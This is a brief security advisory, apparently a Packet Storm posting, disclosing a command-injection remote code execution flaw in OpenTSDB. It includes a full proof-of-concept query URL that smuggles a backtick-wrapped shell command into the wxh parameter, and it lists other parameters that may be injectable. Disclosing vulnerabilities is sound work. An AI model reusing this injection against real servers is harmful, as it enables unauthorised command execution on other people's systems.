OpenTSDB suffers from a remote code execution vulnerability.
ef629a5afda4799864a0738de815ff969d73a1592c4e3b2c08cc18011241292a
The paramenter wxh needs some sanitation before being used by opentsdb.
See example url:
http://opentsdb.com:4242/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60id%60&style=linespoint&png
Results in RCE unfortunately
More parameters:
wxh
start
m
o
key
style
Payload:
%60id%60
Affects all current versions of opentsdb.
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Subscribe to an RSS Feed